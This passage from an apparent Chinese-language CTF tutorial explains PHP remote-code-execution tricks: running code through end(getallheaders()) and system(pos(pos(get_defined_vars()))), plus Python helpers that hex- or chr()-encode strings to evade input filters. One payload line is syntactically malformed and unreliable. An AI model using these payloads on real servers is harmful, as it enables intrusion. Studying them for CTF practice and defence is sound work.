我们通过print成功输出了getallheaders的数组,并构造了恶意请求头ZZZZZZ,可得其位于最后一位

此时我们可以通过end函数成功提取到了我们构造的ZZZZZ的值

将print换成eval即可发现我们成功执行了phpinfo

get_defined_vars

1
获取全局变量$_POST   $_GET    $_FILE    $_COOKIE

利用

如果访问url为

127.0.0.1/index.php?phpinfo=123

请求变量当成两个数组

第一个为127.0.0.1

第二个请求参数为phpinfo=123

利用了两个pos 提取第二个请求参数的变量值 即 123

print_r(pos(pos()get_defined_vars()));

更换123为对应命令 用system执行即可

system(pos(pos()get_defined_vars()));

绕过简介

eval类和system类命令执行的绕过大同小异,此处额外提供两个仅在eval类生效的脚本,

其本质为php的字符解析机制和php的函数利用,

以下可用于绕过特殊字符段的过滤,适用于show_source等多种2.2.2中的显示和包含文件函数的参数构造

1.16进制绕过”\x77\x61\x66\x2e\x70\x68\x70”,外面必须为双引号

16进制的构造脚本

1
2
3
4
5
6
original_string=''
while(original_string!='end'):
original_string = input()
hex_representation = "\\x".join("{:02x}".format(ord(char)) for char in original_string)
final_result = "\\x" + hex_representation
print(final_result)

2.chr函数绕过chr(119).chr(97).chr(102).chr(46).chr(112).chr(104).chr(112)

chr的构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
def convert_to_ascii_special(text):
ascii_special = ''
for char in text:
ascii_code = ord(char)
ascii_special += 'chr({}).'.format(ascii_code)
ascii_special = ascii_special[:-1] # 去除最后一个加号
return ascii_special

user_input=''
while(user_input!='end'):
user_input = input("请输入要转换的字符:")
result = convert_to_ascii_special(user_input)
print(result)

除此外还有八进制绕过

参考链接